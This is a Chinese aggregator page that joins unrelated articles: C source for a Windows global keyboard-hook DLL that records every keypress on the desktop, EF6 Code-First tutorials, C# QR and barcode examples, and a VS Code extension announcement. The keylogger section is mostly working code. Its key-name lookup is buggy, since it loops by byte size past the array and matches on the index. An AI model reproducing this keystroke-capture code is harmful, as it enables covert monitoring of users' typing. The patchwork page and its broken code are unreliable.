本文将为您提供关于Code-Windows获取键盘记录的详细介绍,我们还将为您解释获取键盘按键的内容的相关知识,同时,我们还将为您提供关于3.翻译系列:EFCode-First示例(EF6Code-F
本文将为您提供关于Code - Windows 获取键盘记录的详细介绍,我们还将为您解释获取键盘按键的内容的相关知识,同时,我们还将为您提供关于3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)、4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)、C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)、Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言的实用信息。
本文目录一览:- Code - Windows 获取键盘记录(获取键盘按键的内容)
- 3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)
- 4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)
- C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)
- Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言
Code - Windows 获取键盘记录(获取键盘按键的内容)
MSDN上有说明 要HOOK同一桌面下的所有进程 则HOOK必须是在一个动态库中
hook.h
__declspec(dllexport) void setHook(); //导出声明
__declspec(dllexport) void unHook();
/*
LIBRARY HOOK
EXPORTS
setHook @1
*/
hook.c
#include "hook.h"
#include <Windows.h>
#include <stdio.h>
#include "keyInfo.h"
HHOOK g_hHook=0;
extern const KeyName g_KeyNames[];
char* findKetName(int VK)
{
static char buf[128]={0};
int i=0;
strcpy(buf," ");
for(i=0;i<sizeof(g_KeyNames);i++)
{
if(i == VK)
{
strcat(strcpy(buf,g_KeyNames[i].name),"\r\n");
}
}
return buf;
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode == HC_ACTION)
{
if( !(lParam & 0x80000000))//按键按下 要加判断否则键盘消息会回响应两次(键盘按下和弹起)
{
OutputDebugString(findKetName(wParam));
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
void setHook()
{
if(!g_hHook)
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD,HookProc,GetModuleHandle("HOOK"),0);
}
}
void unHook()
{
if ( g_hHook )
{
UnhookWindowsHookEx(g_hHook);
}
}
键盘索引
keyInfo.h
typedef struct
{
int vk;
char name[32];
}KeyName;
const KeyName g_KeyNames[] = {
{0, ""},
{VK_LBUTTON, "Left mouse button"},
{VK_RBUTTON, "Right mouse button"},
{VK_CANCEL, "Break"},
{VK_MBUTTON, "Middle mouse button"},
{0x05, "X1 mouse button"}, // VK_XBUTTON1
{0x06, "X2 mouse button"}, // VK_XBUTTON2
{0x07, "Undefined"},
{VK_BACK, "Backspace"},
{VK_TAB, "Tab"},
{0x0a, "Reserved"},
{0x0b, "Reserved"},
{VK_CLEAR, "Clear"},
{VK_RETURN, "Enter"},
{0x0e, "Undefined"},
{0x0f, "Undefined"},
{VK_SHIFT, "Shift"},
{VK_CONTROL, "Ctrl"},
{VK_MENU, "Alt"},
{VK_PAUSE, "Pause"},
{VK_CAPITAL, "Caps Lock"},
{VK_KANA, "Kana"},
{0x16, "Undefined"},
{VK_JUNJA, "Junja"},
{VK_FINAL, "Final"},
{VK_KANJI, "Kanji"},
{0x1a, "Undefined"},
{VK_ESCAPE, "Esc"},
{VK_CONVERT, "Convert"},
{VK_NONCONVERT, "Nonconvert"},
{VK_ACCEPT, "Accept"},
{VK_MODECHANGE, "Mode change"},
{VK_SPACE, "Space"},
{VK_PRIOR, "Page Up"},
{VK_NEXT, "Page Down"},
{VK_END, "End"},
{VK_HOME, "Home"},
{VK_LEFT, "Left"},
{VK_UP, "Up"},
{VK_RIGHT, "Right"},
{VK_DOWN, "Down"},
{VK_SELECT, "Select"},
{VK_PRINT, "Print"},
{VK_EXECUTE, "Execute"},
{VK_SNAPSHOT, "Print Screen"},
{VK_INSERT, "Ins"},
{VK_DELETE, "Del"},
{VK_HELP, "Help"},
{''0'', "0"},
{''1'', "1"},
{''2'', "2"},
{''3'', "3"},
{''4'', "4"},
{''5'', "5"},
{''6'', "6"},
{''7'', "7"},
{''8'', "8"},
{''9'', "9"},
{0x3a, "Undefined"},
{0x3b, "Undefined"},
{0x3c, "Undefined"},
{0x3d, "Undefined"},
{0x3e, "Undefined"},
{0x3f, "Undefined"},
{0x40, "Undefined"},
{''A'', "A"},
{''B'', "B"},
{''C'', "C"},
{''D'', "D"},
{''E'', "E"},
{''F'', "F"},
{''G'', "G"},
{''H'', "H"},
{''I'', "I"},
{''J'', "J"},
{''K'', "K"},
{''L'', "L"},
{''M'', "M"},
{''N'', "N"},
{''O'', "O"},
{''P'', "P"},
{''Q'', "Q"},
{''R'', "R"},
{''S'', "S"},
{''T'', "T"},
{''U'', "U"},
{''V'', "V"},
{''W'', "W"},
{''X'', "X"},
{''Y'', "Y"},
{''Z'', "Z"},
{VK_LWIN, "Left Windows"},
{VK_RWIN, "Right Windows"},
{VK_APPS, "Application"},
{0x5e, "Reserved"},
{0x5f, "Sleep"},//VK_SLEEP
{VK_NUMPAD0, "Num 0"},
{VK_NUMPAD1, "Num 1"},
{VK_NUMPAD2, "Num 2"},
{VK_NUMPAD3, "Num 3"},
{VK_NUMPAD4, "Num 4"},
{VK_NUMPAD5, "Num 5"},
{VK_NUMPAD6, "Num 6"},
{VK_NUMPAD7, "Num 7"},
{VK_NUMPAD8, "Num 8"},
{VK_NUMPAD9, "Num 9"},
{VK_MULTIPLY, "Num *"},
{VK_ADD, "Num +"},
{VK_SEPARATOR, "Separator"},
{VK_SUBTRACT, "Num -"},
{VK_DECIMAL, "Num ."},
{VK_DIVIDE, "Num /"},
{VK_F1, "F1"},
{VK_F2, "F2"},
{VK_F3, "F3"},
{VK_F4, "F4"},
{VK_F5, "F5"},
{VK_F6, "F6"},
{VK_F7, "F7"},
{VK_F8, "F8"},
{VK_F9, "F9"},
{VK_F10, "F10"},
{VK_F11, "F11"},
{VK_F12, "F12"},
{VK_F13, "F13"},
{VK_F14, "F14"},
{VK_F15, "F15"},
{VK_F16, "F16"},
{VK_F17, "F17"},
{VK_F18, "F18"},
{VK_F19, "F19"},
{VK_F20, "F20"},
{VK_F21, "F21"},
{VK_F22, "F22"},
{VK_F23, "F23"},
{VK_F24, "F24"},
{0x88, "Unassigned"},
{0x89, "Unassigned"},
{0x8a, "Unassigned"},
{0x8b, "Unassigned"},
{0x8c, "Unassigned"},
{0x8d, "Unassigned"},
{0x8e, "Unassigned"},
{0x8f, "Unassigned"},
{VK_NUMLOCK, "Num Lock"},
{VK_SCROLL, "Scroll Lock"},
{0x92, "OEM specific"},
{0x93, "OEM specific"},
{0x94, "OEM specific"},
{0x95, "OEM specific"},
{0x96, "OEM specific"},
{0x97, "Unassigned"},
{0x98, "Unassigned"},
{0x99, "Unassigned"},
{0x9a, "Unassigned"},
{0x9b, "Unassigned"},
{0x9c, "Unassigned"},
{0x9d, "Unassigned"},
{0x9e, "Unassigned"},
{0x9f, "Unassigned"},
{VK_LSHIFT, "Left Shift"},
{VK_RSHIFT, "Right Shift"},
{VK_LCONTROL, "Left Ctrl"},
{VK_RCONTROL, "Right Ctrl"},
{VK_LMENU, "Left Alt"},
{VK_RMENU, "Right Alt"},
{0xa6, "Browser Back"}, // VK_BROWSER_BACK
{0xa7, "Browser Forward"}, // VK_BROWSER_FORWARD
{0xa8, "Browser Refresh"}, // VK_BROWSER_REFRESH
{0xa9, "Browser Stop"}, // VK_BROWSER_STOP
{0xaa, "Browser Search"}, // VK_BROWSER_SEARCH
{0xab, "Browser Favorites"}, // VK_BROWSER_FAVORITES
{0xac, "Browser Start"}, // VK_BROWSER_HOME
{0xad, "Volume Mute"}, // VK_VOLUME_MUTE
{0xae, "Volume Down"}, // VK_VOLUME_DOWN
{0xaf, "Volume Up"}, // VK_VOLUME_UP
{0xb0, "Next Track"}, // VK_MEDIA_NEXT_TRACK
{0xb1, "Previous Track"}, // VK_MEDIA_PREV_TRACK
{0xb2, "Stop Media"}, // VK_MEDIA_STOP
{0xb3, "Play/Pause Media"}, // VK_MEDIA_PLAY_PAUSE
{0xb4, "Start Mail"}, // VK_LAUNCH_MAIL
{0xb5, "Select Media"}, // VK_LAUNCH_MEDIA_SELECT
{0xb6, "Start Application 1"}, // VK_LAUNCH_APP1
{0xb7, "Start Application 2"}, // VK_LAUNCH_APP2
{0xb8, "Reserved"},
{0xb9, "Reserved"},
{0xba, ";"}, // VK_OEM_1
};
3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)
原文链接:http://www.entityframeworktutorial.net/code-first/simple-code-first-example.aspx
在前面一节中,我们学会了怎么,在我们项目中安装Entity Framework。现在我们来创建一个简单的Code-First示例吧:
假定,我们想为XYZ学校创建一个简单的应用程序,使用这个程序来添加、更新学生信息,以及学生分数信息,班级信息还有老师信息。
不像之前传统做法那样,先创建数据库,这里我们为我们的学生创建学生领域类。首先创建Student,以及Grade实体,代码中一个学生实体和一个Grade实体相关联。这被称作为一对多的关系。后面的章节中,我们将会学到EF怎么管理实体之间的关系。
我们创建一个控制台应用程序,安装好EF。
然后创建Student 和Grade类
public class Student { /// <summary>
/// 学生ID /// </summary>
public int StudentID { get; set; } /// <summary>
/// 学生姓名 /// </summary>
public string StudentName { get; set; } /// <summary>
/// 出生日期 /// </summary>
public DateTime? DateOfBirth { get; set; } /// <summary>
/// 图片 /// </summary>
public byte[] Photo { get; set; } /// <summary>
/// 身高 /// </summary>
public decimal Height { get; set; } /// <summary>
/// 体重 /// </summary>
public float Weight { get; set; } /// <summary>
/// 导航属性--Grade--年级 /// </summary>
public Grade Grade { get; set; } }
public class Grade { public int GradeID { get; set; } public string GradeName { get; set; } public string Section { get; set; } public ICollection<Student> Students { get; set; } }
如上,我们创建好了程序的领域类。
Code-First方式,同样还需要一个上下文类,上下文类是继承自DbContext类的类。创建一个上下文类,如下,它继承自DbContext,暴露两个属性Students和Grades.
现在,我们已经创建好了Code-First方式需要的类,现在来测试一下:
运行项目:
表示一个学生信息已经成功添加到了数据库中。
但是,数据库在哪里呢?数据表呢?数据列呢?
这就是EF Code-First API 迷人之处。它基于你在上下文类的构造函数中传递的参数,创建数据库。因为这里,我们在上下文类的构造函数中没有传递任何参数,EF 就给我们在这里创建了数据库:
C:\Users\你的计算机名称
这个数据库不能附加,我们可以在配置文件,配置一下:
然后修改一下,上下文类的构造函数:
再运行项目看看:
说明成功创建了数据库,我们看下生成的数据库:
就像上面图形中所示,EF为我们创建了数据库,还创建了相应的数据表,数据列。这样我们就使用Code-First,创建了数据库.
请注意:如果你修改了实体,再运行项目的话,就会报错:例如,我在Student实体中加一个属性Email。
然后运行项目:
出现这个错误,是需要进行数据库迁移。你需要在上下文类中,定义数据库初始化策略,然后修改实体,最后运行项目。数据库迁移技术,我好多系列文章中都讲到了,当然 这个系列还是会告诉大家怎么配置,大家可以到时候好好跟着我巩固一下。
你现在肯定很好奇,EF API是怎么创建合适类型的数据列的,怎么创建主键,怎么创建外键的?答案就是使用Code-First默认的约定配置。下面一节中,我们将学习Code-First默认约定。
4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)
原文地址:http://www.entityframeworktutorial.net/code-first/code-first-conventions.aspx
约定就是一系列的默认规则,通过这些规则,在使用EF Code-First的时候,可以自动的基于你的领域类配置概念模型。就像你在前面Code-First示例一节中看到的那样,EF API 基于领域类,不需要额外的配置就可以,配置主键,外键,关系,以及列的数据类型等等。这就是EF Code-First约定在起的作用。如果领域类遵循了默认的约定,那么生成的数据库结构,就会是基于这个默认约定的。EF 6.x Code -First默认约定都定义在System.Data.Entity.ModelConfiguration.Conventions命名空间下。
下面的图表,列出来了Code-First默认约定:
1.Id
2.实体名称+"Id"(不区分大小写的)
默认情况下,EF将会把实体的Id属性设置为主键,或者是将实体名称+Id的属性设置为主键。【不区分大小写的】
默认情况下,EF将查找与主体实体的主键名称相同的外键属性。
如果这个外键属性不存在,那么EF将会在数据表中,创建一个外键列,名称是:依赖项的导航属性名称+“_”+主体实体的主键名称。
例如:如果在Student实体中,不包含Grade实体的外键属性,EF将会在Students表中,创建名称为Grade_GradeId的外键。
下面的图表,列出来了C#数据类型和sql Server数据类型映射的对应关系。
下面的图形,列出来了,根据默认的约定,生成的数据库。
Relationship Convention【关系约定】
EF 6 默认可以通过导航属性,推断出一对多【One-to-Many】的关系。后面的章节中,我们会学习一对多的关系。
注意的是:EF 6 不包含一对一和多对多的关系约定。你可以通过数据注解或者Fluent API来配置一对一关系或者多对多关系。
Complex Type Convention【复杂类型约定】
Code First为类创建的复杂类型,并不包含Key 属性,同样主键也是没有通过数据注解或者Fluent API配置的。
好了,这就是Code-First默认约定的大体内容了,注意:这些约定可以通过数据注解或者Fluent API 重写。
这一篇就介绍完了,大家有什么不明白的,可以在下面留言,我会一一回复。谢谢。
C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)
用C#如何生成二维码,我们可以通过现有的第三方dll直接来实现,下面列出几种不同的生成方法:
1):通过QrCodeNet(Gma.QrCodeNet.Encoding.dll)来实现
1.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:
1.2):具体生成二维码方法如下
private void GenerateQRByQrCodeNet() { QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.H); QrCode qrCode = new QrCode(); qrEncoder.TryEncode("Hello World. This is Eric Sun Testing...",out qrCode); GraphicsRenderer renderer = new GraphicsRenderer(new FixedModuleSize(5,QuietZoneModules.Two),Brushes.Black,Brushes.White); using (MemoryStream ms = new MemoryStream()) { renderer.WritetoStream(qrCode.Matrix,ImageFormat.Png,ms); Image img = Image.FromStream(ms); img.Save("E:/csharp-qrcode-net.png"); } }
更多详细信息请参考如下链接:
http://www.jb51.net/article/99215.htm
http://qrcodenet.codeplex.com/
http://stackoverflow.com/questions/7020136/free-c-sharp-qr-code-generator
2):通过ThoughtWorks.QRCode(ThoughtWorks.QRCode.dll)来实现
1.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:
1.2):具体生成二维码方法如下
private void GenerateQRByThoughtWorks() { QRCodeEncoder encoder = new QRCodeEncoder(); encoder.QRCodeEncodemode = QRCodeEncoder.ENCODE_MODE.BYTE;//编码方式(注意:BYTE能支持中文,ALPHA_NUMERIC扫描出来的都是数字) encoder.QRCodeScale = 4;//大小(值越大生成的二维码图片像素越高) encoder.QRCodeVersion = 0;//版本(注意:设置为0主要是防止编码的字符串太长时发生错误) encoder.QRCodeErrorCorrect = QRCodeEncoder.ERROR_CORRECTION.M;//错误效验、错误更正(有4个等级) encoder.QRCodeBackgroundColor = Color.Yellow; encoder.QRCodeForegroundColor = Color.Green; string qrdata = "Hello 世界! This is Eric Sun Testing...."; Bitmap bcodeBitmap = encoder.Encode(qrdata.ToString()); bcodeBitmap.Save(@"E:\HelloWorld.png",ImageFormat.Png); bcodeBitmap.dispose(); }
3):通过Spire.BarCode(Spire.BarCode.dll)来实现
1.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:
1.2):具体生成二维码方法如下
private void GenerateQRBySpire() { BarcodeSettings bs = new BarcodeSettings() { Data = "This is qr code: H2AMK-Z3V69-RTJZD-C7JAU-WILL4",Type = BarCodeType.QRCode,TopTextColor = Color.Red,ShowCheckSumChar = false,showtext = false }; //Generate the barcode based on the this.barCodeControl1 BarCodeGenerator generator = new BarCodeGenerator(bs); Image barcode = generator.GenerateImage(); //save the barcode as an image barcode.Save(@"E:\barcode-2d.png"); }
1.3):附加具体生成条形码方法如下
private void GenerateBarCodeBySpire() { BarcodeSettings bs = new BarcodeSettings() { Data = "This is barcode: H2AMK-Z3V69-RTJZD-C7JAU-WILL4",ShowTopText = false,showtextOnBottom = true }; //Generate the barcode based on the this.barCodeControl1 BarCodeGenerator generator = new BarCodeGenerator(bs); Image barcode = generator.GenerateImage(); //save the barcode as an image barcode.Save(@"E:\barcode.png"); }
1.3):上诉代码我们发现生成的条形码和二维码带有水印[E-ICEBLUE],如何去除水印呢?请看如下代码
BarcodeSettings.ApplyKey("......");
请发送邮件到 sales@e-iceblue.com 免费获取对应的 key 值
更多详细信息请参考如下链接:
http://freebarcode.codeplex.com/
http://www.e-iceblue.com/Knowledgebase/Spire.BarCode/Program-Guide/Programme-Guide-for-Spire.BarCode.html
https://www.oudahe.com/p/30490/
4):通过Barcode Rendering Framework(Zen.Barcode.Rendering.Framework.dll)来实现
4.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:
4.2):具体生成二维码方法如下
private void GenerateBarCodeByZen() { Code128BarcodeDraw barcode128 = BarcodeDrawFactory.Code128WithChecksum; Image img = barcode128.Draw("Hello World",40); img.Save("E:/zenbarcode.gif"); }
4.3):附加具体生成条形码方法如下
private void GenerateQRByZen() { CodeQrBarcodeDraw qrcode = BarcodeDrawFactory.CodeQr; Image img = qrcode.Draw("Hello World!",qrcode.GetDefaultMetrics(40)); img.Save("E:/zenqrcode.gif"); }
更多详细信息请参考如下链接:
http://barcoderender.codeplex.com/
5):通过BarcodeLib(BarcodeLib.Barcode.ASP.NET.dll)来实现,下载对应dll的连接为 http://www.barcodelib.com/asp_net/
5.1):具体生成二维码方法如下
private void GenerateQRByBarcodeLib() { QRCode qrbarcode = new QRCode(); qrbarcode.Encoding = QRCodeEncoding.Auto; qrbarcode.Data = "336699885522 This is Eric Sun Testing."; qrbarcode.ModuleSize = 10; qrbarcode.LeftMargin = 8; qrbarcode.RightMargin = 8; qrbarcode.TopMargin = 8; qrbarcode.BottomMargin = 8; qrbarcode.ImageFormat = System.Drawing.Imaging.ImageFormat.Gif; // Save QR Code barcode image into your system qrbarcode.drawBarcode("E:/csharp-qrcode-lib.gif"); }
5.2):附加具体生成条形码方法如下
private void GenerateLinearByBarcodeLib() { Linear barcode = new Linear(); barcode.Type = BarcodeType.CODE128; barcode.Data = "CODE128"; // other barcode settings. // save barcode image into your system barcode.drawBarcode("E:/barcode.png"); }
我们使用的是试用版(带水印的......),还有付费的正版,详情请参考如下链接:
http://www.barcodelib.com/asp_net/
以上所述是小编给大家介绍的C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code),希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对编程小技巧网站的支持!
Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言
大家好!
我是韩老师。还记得 6 年前的夏天,我在巨硬写着世界上最好的语言,有时也需要带着游标卡尺写着另一门语言。然而,我对这两门语言都不熟悉,如果能在 VS Code 中方便快捷地运行各种语言,那岂不是很方便?于是,我就开发了 Code Runner 插件。
https://github.com/formulahendry/vscode-code-runner
下载量
2016 年 12 月 13 日,Code Runner 正式发布!
2019 年 11 月 24 日,Code Runner 下载量突破 1000 万!
2021 年 1 月 31 日,Code Runner 下载量突破 2000 万!
2021 年 11 月 7 日,Code Runner 下载量突破 3000 万!
2022 年 7 月 17 日,Code Runner 下载量突破 4000 万!
多语言支持
经过数年时间的打磨,Code Runner 的功能越来越丰富,也支持了超过 50 种语言:
C, C++, Java, JavaScript, PHP, Python, Perl, Perl 6, Ruby, Go, Lua, Groovy, PowerShell, BAT/CMD, BASH/SH, F# Script, F# (.NET Core), C# Script, C# (.NET Core), VBScript, TypeScript, CoffeeScript, Scala, Swift, Julia, Crystal, OCaml Script, R, AppleScript, Elixir, Visual Basic .NET, Clojure, Haxe, Objective-C, Rust, Racket, Scheme, AutoHotkey, AutoIt, Kotlin, Dart, Free Pascal, Haskell, Nim, D, Lisp, Kit, V, SCSS, Sass, CUDA, Less, Fortran, Ring, Standard ML, Zig。
新方向
不仅仅是功能上的改进和支持的编程语言的数量上的增加,我还一直尝试探索新的方向。
去年 12 月,我发布了全新的 Code Runner for Web 插件!
https://github.com/formulahendry/vscode-code-runner-for-web
与 Code Runner 需要用户自行安装相应的编译器/解释器不同,安装好 Code Runner for Web 插件后,我们可以在 vscode.dev、github.dev 和桌面版 VS Code 中直接运行 Python !它有两大亮点:
- 快速便捷:不需要额外安装 Python 解释器,真正的一键运行!
- 免费:无需后端运行环境,全部在浏览器环境中完成!
英雄所见略同
2021 年 12 月,我发布了 Code Runner for Web。
2022 年 4 月,Anaconda 发布了 PyScript!
正可谓 Great minds think alike!
站在巨人的肩膀上
Code Runner for Web 的工作原理是怎么样的呢?
Great Products Sits on the Shoulder of Giants!有下面三位重要的巨人:
- WebAssembly/WASM (https://webassembly.org/)
- Emscripten (https://emscripten.org/): 把基于 LLVM 的项目编译到浏览器、Node.js 或者 WebAssembly 运行时。
- Pyodide (https://pyodide.org/en/stable/): 基于 WebAssembly 的 Python 发行版。
简单来说,就是通过 Emscripten,Pyodide 把 cpython 解释器预先编译成 WebAssembly,使得 Python 文件可以在浏览器中运行!
未来
WebAssembly is the future! —— Jun Han让我们一起期待!
关于Code - Windows 获取键盘记录和获取键盘按键的内容的介绍现已完结,谢谢您的耐心阅读,如果想了解更多关于3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)、4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)、C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)、Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言的相关知识,请在本站寻找。
本文标签: